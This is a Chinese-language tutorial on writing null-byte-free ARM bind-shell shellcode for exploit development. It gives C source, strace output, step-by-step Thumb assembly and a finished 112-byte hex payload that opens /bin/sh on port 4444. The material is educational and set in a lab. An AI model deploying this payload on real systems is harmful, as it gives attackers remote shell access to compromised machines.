导语:在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。
在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。
阅读完本教程之后,你不仅能学会如何编写将shell绑定到本地端口的shellcode,还会了解如何编写shellcode。从bind shellcode到reverse shellcode只需更改1-2个函数,一些参数,但大多数情况下都是一样的。编写一个bind或reverse shell比创建一个简单的execve()shell要困难得多。如果你想从小处着手,可以学习如何用汇编语言编写一个简单的execve()shell,然后再深入到本文更加广泛的教程中。如果你需要复习一下Arm assembly,请参阅我的ARM Assembly Basics教程系列,或 者使用下面这种备忘单:
在开始之前,我想提醒大家的是,我们正在创建的是ARM shellcode,需要建立一个ARM实验室环境。可以自己设置(QEMU Emulate Raspberry Pi )或节省时间,可以下载我创建好的实验室VM(ARM Lab VM)。
了解细节
首先,什么是bind shell?它是如何工作的?使用bind shell,可以在目标机器上打开通信端口或侦听器。然后侦听器等待传入连接,你连接它,侦听器便会接受连接,并允许你shell访问目标系统。
这与Reverse Shell的工作方式不同。使用reverse shell,你可以让目标机器与自己的机器进行通信。在这种情况下,你的机器有一个侦听器端口,它接收来自目标系统的连接。
这两种类型的shell都有各自的优点和缺点,这取决于目标环境。例如,目标网络的防火墙不能阻挡传出链接,更容易阻挡传入链接。这意味着你的bind shell将在目标系统上绑定一个端口,但是由于传入连接被阻挡,你将无法连接到它。因此在某些情况下,最好有一个reverse shell能够利用防火墙不阻挡传出连接的错误配置。如果你学会了如何编写bind shell,那么也就学会了如何编写reverse shell。将汇编代码转换成reverse shell,只需要几处修改就能实现。
要将bind shell的功能转换为汇编的,我们首先需要熟悉bind shell的过程
1. 创建一个新的TCP 套接字 (socket)
2. 将socket绑定到本地端口
3. 侦听传入的连接
4. 接受传入的连接
5. 将STDIN、STDOUT和STDERR重定向到客户端新创建的socket
6. 生成shell
下面是我们用来翻译的C代码。
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int host_sockid; // socket file descriptor int client_sockid; // client file descriptor struct sockaddr_in hostaddr; // server aka listen address int main() { // Create new TCP socket host_sockid = socket(PF_INET, SOCK_STREAM, 0); // Initialize sockaddr struct to bind socket using it hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address hostaddr.sin_port = htons(4444); // server port, converted to network byte order hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order // Bind socket to IP/Port in sockaddr struct bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); // Listen for incoming connections listen(host_sockid, 2); // Accept incoming connection client_sockid = accept(host_sockid, NULL, NULL); // Duplicate file descriptors for STDIN, STDOUT and STDERR dup2(client_sockid, 0); dup2(client_sockid, 1); dup2(client_sockid, 2); // Execute /bin/sh execve("/bin/sh", NULL, NULL); close(host_sockid); return 0; }
第一阶段:系统函数及其参数
第一步是识别必要的系统函数、参数和系统调用号。查看上面的C代码,可以看到,我们需要以下函数:socket, bind, listen, accept, dup2, execve。你可以使用以下命令来计算这些函数的系统调用号:
[email protected]:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket #define __NR_socketcall (__NR_SYSCALL_BASE+102) #define __NR_socket (__NR_SYSCALL_BASE+281) #define __NR_socketpair (__NR_SYSCALL_BASE+288) #undef __NR_socketcall
_NR_SYSCALL_BASE的值是0:
[email protected]:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/ /usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0
以下是我们需要的所有syscall调用号:
#define __NR_socket (__NR_SYSCALL_BASE+281) #define __NR_bind (__NR_SYSCALL_BASE+282) #define __NR_listen (__NR_SYSCALL_BASE+284) #define __NR_accept (__NR_SYSCALL_BASE+285) #define __NR_dup2 (__NR_SYSCALL_BASE+ 63) #define __NR_execve (__NR_SYSCALL_BASE+ 11)
每个函数期望参数都可以在linux man页面或者w3challs.com中查看。
下一步是算出这些参数的具体值。一种计算方法是使用strace查看一个成功的bind shell 连接。strace是一个工具,可以用来跟踪系统调用,并且监视进程与Linux内核之间的交互。让我们使用strace来测试bind shell的C语言版本。为了减少噪音,我们将输出限制为我们感兴趣的函数。
Terminal 1: [email protected]:~/bindshell $ gcc bind_test.c -o bind_test [email protected]:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test Terminal 2: [email protected]:~ $ netstat -tlpn Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test [email protected]:~ $ netcat -nv 0.0.0.0 4444 Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
这是strace输出:
[email protected]:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 2) = 0 accept(3, 0, NULL) = 4 dup2(4, 0) = 0 dup2(4, 1) = 1 dup2(4, 2) = 2 execve("/bin/sh", [0], [/* 0 vars */]) = 0
现在,我们可以填充空白,并记下需要传递给汇编bind shell函数的值。
第二步:逐步编译
在第一阶段,我们回答了以下问题,以获取汇编程序所需要的所有东西:
1.我需要哪些函数? 2.这些函数的系统调用号是多少? 3.这些函数的参数是什么? 4.这些参数的值是多少?
这一步是关于应用这些知识并将其转换为汇编。将每个函数拆分为一个单独的块,并重复以下过程:
1.标出参数所使用的寄存器 2.找出如何将所需值( required value)传递给寄存器 1.如何将立即数(immediate value)传递给寄存器 2.如何在不直接将#0移入的情况下取消寄存器(我们需要避免代码中的null字节,因此必须找到其他方法来取消寄存器或内存中的值)。 3.如何将寄存器指向内存中存储常量和字符串的区域
3.使用正确的系统调用号来调用函数,并跟踪寄存器内容的变化
1.记住,系统调用的结果将落在r0中,这意味着万一你需要在另一个函数中重用该函数的结果,则需要在调用函数之前将其保存到另一个寄存器中。 2.示例:host_sockid = socket(2, 1, 0) –socket调用的结果(host_sockid) 将在r0中。这个结果在其他函数中重用,比如listen(host_sockid, 2),因此应该保存在另一个寄存器中。
0-切换到Thumb模式
首先使用Thumb模式,以减少使用null字节的可能性。在Arm模式下,指令是32位的,在Thumb模式下是16位。这意味着我们可以通过简单地减小指令的大小来减少使用null字节的情况。回顾一下如何切换到Thumb模式:ARM指令必须是4字节对齐的。将模式从ARM转换到Thumb,通过将1添加到PC寄存器的值,并将其保存到另一个寄存器中,把下一个指令地址(在PC中发现)的LSB(Least Significant Bit)设置为1。然后使用一个BX(分支和交换)指令来分支到另一个寄存器中,该寄存器包含LSB设置为1的下一条指令的地址。这一操作使得处理器切换到Thumb模式。上述所有操作都归结为以下两个指令。
.section .text .global _start _start: .ARM add r3, pc, #1 bx r3
从这里开始,你将编写Thumb代码,因此需要在你编写的代码中使用.THUMB指令表明这一点。
1-新建一个Socket
这些是我们需要的socket调用参数的值:
[email protected]:/home/pi# grep -R "AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =" /usr/include/ /usr/include/linux/in.h: IPPROTO_IP = 0, // Dummy protocol for TCP /usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, // Sequenced, reliable, connection-based /usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 // IP protocol family. /usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET
设置好参数之后,你可以使用svc指令调用socket系统调用。此调用的结果将是host_sockid,并将以r0结束。因为稍后我们需要host_sockid,把它保存到r4中。
在ARM中,不能简单地将任何立即数(immediate value)移动到寄存器中。如果你对这一细微差别有更多的兴趣,在Memory Instructions章节中有一个章节(在最后)介绍了这一差别。
为了检查是否可以使用某个立即数(immediate value),我编写了一个很小的脚本(代码不完美,可以不看),叫做rotator.py。
[email protected]:~/bindshell $ python rotator.py Enter the value you want to check: 281 Sorry, 281 cannot be used as an immediate number and has to be split. [email protected]:~/bindshell $ python rotator.py Enter the value you want to check: 200 The number 200 can be used as a valid immediate number. 50 ror 30 --> 200 [email protected]:~/bindshell $ python rotator.py Enter the value you want to check: 81 The number 81 can be used as a valid immediate number. 81 ror 0 --> 81
最后的代码片段:
.THUMB mov r0, #2 mov r1, #1 sub r2, r2, r2 mov r7, #200 add r7, #81 // r7 = 281 (socket syscall number) svc #1 // r0 = host_sockid value mov r4, r0 // save host_sockid in r4
2 -将Socket绑定到本地端口
使用第一个指令,我们将一个包含地址家族、主机端口和主机地址的结构对象存储在文字池里,并使用pc-relative寻址(程序计数器相对寻址法)引用这个对象。文字池是同一部分的内存区域(因为文字池是代码的一部分),其中存储了常量、字符串或偏移量。你可以使用带有标签的ADR指令,而不是手动计算pc相对偏移量。ADR接受一个PC-relative表达式,也就是说,具有一个可选偏移量的标签,其标签地址与PC标签有关。情况如下:
// bind(r0, &sockaddr, 16) adr r1, struct_addr // pointer to address, port [...] struct_addr: .ascii "x02xff" // AF_INET 0xff will be NULLed .ascii "x11x5c" // port number 4444 .byte 1,1,1,1 // IP Address
接下来的5个指令是STRB(存储字节)指令。STRB指令将一个字节从寄存器存储到一个计算内存区域。语法[r1, #1] 表示我们将r1作为基本地址,立即数(immediate value )(#1) 作为偏移量。
在第一个指令中,我们将R1指向内存区域,在该内存区域存储了地址家族AF_INET的值、我们想要使用的本地端口和IP地址。我们可以使用静态IP地址,也可以指定0.0.0.0使我们的bind shell监听目标配置的所有IP,使我们的shellcode更加便携。现在有很多null字节。
同样,我们想要避免使用null字节的原因是为了使我们的shellcode对于漏洞利用是可用的,即利用内存损坏那些可能对null字节敏感的漏洞。一些缓冲区溢出是由于不合理地使用“strcpy”这样的函数而造成的。strcpy的工作是复制数据直到它接收到一个null字节。我们使用溢出来控制程序流,如果strcpy遇到一个null字节,它将停止复制我们的shellcode,我们的开发将无法工作。使用strb指令,我们从寄存器中获取一个null字节,并在执行期间修改我们自己的代码。这样,在我们的shellcode中实际上没有一个null字节,只是动态地将其放在那里。这就要求代码部分是可写的,并且可以通过在链接过程中添加-N标志来实现。
出于这个原因,我们在没有null字节的情况下进行编码,并在需要的地方动态地放置一个null字节。正如在下个图片中所看到的,我们指定的IP地址是1.1.1.1,在执行期间将被0.0.0.0替换。
第一个STRB指令在x02xff中用x00替换占位符xff,以便将AF_INET设置为x02 x00。我们如何知道它是一个被存储的null字节?由于“r2,r2,r2”的指令清除了寄存器,因此r2中包含0。接下来的4个指令用0.0.0.0代替1.1.1.1。除了在strb r2, [r1, #1]之后的四个strb指令,你还可以使用一个单独的str r2, [r1, #4]来完成一个完整的0.0.0.0编写。
移动指令将sockaddr_in结构性长度的字节长度(AF_INET 2字节,PORT 2字节,ipaddress 4字节,8字节填充,总共16字节)放到r2中。然后,我们通过将1添加到r7,将其设置为282,因为r7已经包含了从最后一个syscall中获得的281。
// bind(r0, &sockaddr, 16) adr r1, struct_addr // pointer to address, port strb r2, [r1, #1] // write 0 for AF_INET strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1 strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1 strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1 strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x mov r2, #16 add r7, #1 // r7 = 281+1 = 282 (bind syscall number) svc #1 nop
3-listen传入的连接
在这里我们把以前保存的host_sockid放入 r0。将r1设置为2,r7只是增加了2,因为它还包含从最后一个syscall中获得的282(系统调用)。
mov r0, r4 // r0 = saved host_sockid mov r1, #2 add r7, #2 // r7 = 284 (listen syscall number) svc #1
4-accept输入连接
同样,我们将保存的host_sockid放到r0。由于我们想要避免使用null字节,所以我们使用的不是直接将#0移动到r1和r2中,而是通过将r1和r2彼此想减来将它们设置为0。r7只增加了1。此调用的结果将是client_sockid,我们将其保存在r4中,因为我们之后不再需要保存在r4中的host_sockid(我们将跳过调用C代码中的关闭函数)。
mov r0, r4 // r0 = saved host_sockid sub r1, r1, r1 // clear r1, r1 = 0 sub r2, r2, r2 // clear r2, r2 = 0 add r7, #1 // r7 = 285 (accept syscall number) svc #1 mov r4, r0 // save result (client_sockid) in r4
5 – STDIN、STDOUT和STDERR
对于dup2函数,我们需要syscall调用号63。先前保存的client_sockid需要再次进入r0,并且子指令将r1设为0。剩下的两个dup2调用,我们只需要改变r1并且在每次系统调用之后将r0重置为client_sockid。
/* dup2(client_sockid, 0) */ mov r7, #63 // r7 = 63 (dup2 syscall number) mov r0, r4 // r4 is the saved client_sockid sub r1, r1, r1 // r1 = 0 (stdin) svc #1 /* dup2(client_sockid, 1) */ mov r0, r4 // r4 is the saved client_sockid add r1, #1 // r1 = 1 (stdout) svc #1 /* dup2(client_sockid, 2) */ mov r0, r4 // r4 is the saved client_sockid add r1, #1 // r1 = 1+1 (stderr) svc #1
6-生成shell
// execve("/bin/sh", 0, 0) adr r0, shellcode // r0 = location of "/bin/shX" eor r1, r1, r1 // clear register r1. R1 = 0 eor r2, r2, r2 // clear register r2. r2 = 0 strb r2, [r0, #7] // store null-byte for AF_INET mov r7, #11 // execve syscall number svc #1 nop
我们在本例中使用的execve()函数遵循的过程与Writing ARM Shellcode教程中的相同,都是一步一步地进行解释。
最后,我们将值AF_INET(0xff将被null替换)、端口号、IP地址以及“/bin/sh”字符串,放在我们汇编代码的结尾的。
struct_addr: .ascii "x02xff" // AF_INET 0xff will be NULLed .ascii "x11x5c" // port number 4444 .byte 1,1,1,1 // IP Address shellcode: .ascii "/bin/shX"
最终的汇编代码
这就是我们编好的bind shellcode。
.section .text .global _start _start: .ARM add r3, pc, #1 // switch to thumb mode bx r3 .THUMB // socket(2, 1, 0) mov r0, #2 mov r1, #1 sub r2, r2, r2 // set r2 to null mov r7, #200 // r7 = 281 (socket) add r7, #81 // r7 value needs to be split svc #1 // r0 = host_sockid value mov r4, r0 // save host_sockid in r4 // bind(r0, &sockaddr, 16) adr r1, struct_addr // pointer to address, port strb r2, [r1, #1] // write 0 for AF_INET strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1 strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1 strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1 strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x mov r2, #16 // struct address length add r7, #1 // r7 = 282 (bind) svc #1 nop // listen(sockfd, 0) mov r0, r4 // set r0 to saved host_sockid mov r1, #2 add r7, #2 // r7 = 284 (listen syscall number) svc #1 // accept(sockfd, NULL, NULL); mov r0, r4 // set r0 to saved host_sockid sub r1, r1, r1 // set r1 to null sub r2, r2, r2 // set r2 to null add r7, #1 // r7 = 284+1 = 285 (accept syscall) svc #1 // r0 = client_sockid value mov r4, r0 // save new client_sockid value to r4 // dup2(sockfd, 0) mov r7, #63 // r7 = 63 (dup2 syscall number) mov r0, r4 // r4 is the saved client_sockid sub r1, r1, r1 // r1 = 0 (stdin) svc #1 // dup2(sockfd, 1) mov r0, r4 // r4 is the saved client_sockid add r1, #1 // r1 = 1 (stdout) svc #1 // dup2(sockfd, 2) mov r0, r4 // r4 is the saved client_sockid add r1, #1 // r1 = 2 (stderr) svc #1 // execve("/bin/sh", 0, 0) adr r0, shellcode // r0 = location of "/bin/shX" eor r1, r1, r1 // clear register r1. R1 = 0 eor r2, r2, r2 // clear register r2. r2 = 0 strb r2, [r0, #7] // store null-byte for AF_INET mov r7, #11 // execve syscall number svc #1 nop struct_addr: .ascii "x02xff" // AF_INET 0xff will be NULLed .ascii "x11x5c" // port number 4444 .byte 1,1,1,1 // IP Address shellcode: .ascii "/bin/shX"
测试shellcode
将你的汇编代码保存到一个名为bind_shell.s的文件中。在使用ld时不要忘记-N标志,原因是我们使用了多个strb操作来修改我们的代码段(.text)。这就要求代码部分是可写的,并且在链接过程中可以通过添加-N标志来实现。
[email protected]:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell [email protected]:~/bindshell $ ./bind_shell
然后,连接到你的指定端口:
[email protected]:~ $ netcat -vv 0.0.0.0 4444 Connection to 0.0.0.0 4444 port [tcp/*] succeeded! uname -a Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
Shellcode可以正常运行!使用以下命令将它转换成十六进制字符串:
[email protected]:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin [email protected]:~/bindshell $ hexdump -v -e '"""x" 1/1 "%02x" ""' bind_shell.bin x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx12xa1x4ax70x0ax71x4ax71x8ax71xcax71x10x22x01x37x01xdfxc0x46x20x1cx02x21x02x37x01xdfx20x1cx49x1ax92x1ax01x37x01xdfx04x1cx3fx27x20x1cx49x1ax01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx05xa0x49x40x52x40xc2x71x0bx27x01xdfxc0x46x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58
我们成功编写了bind shellcode!这个shellcode长112字节。由于这是一个初学者教程,为了使教程比较简单易懂,所以并没有将shellcode编写的它所能达到的最短。在完成初级shellcode编写之后,你可以尝试找到减少指令数量的方法,从而使shellcode更短。
希望通过本文你学会了一些东西,并且能够运用这些知识来编写自己的shellcode任意变体。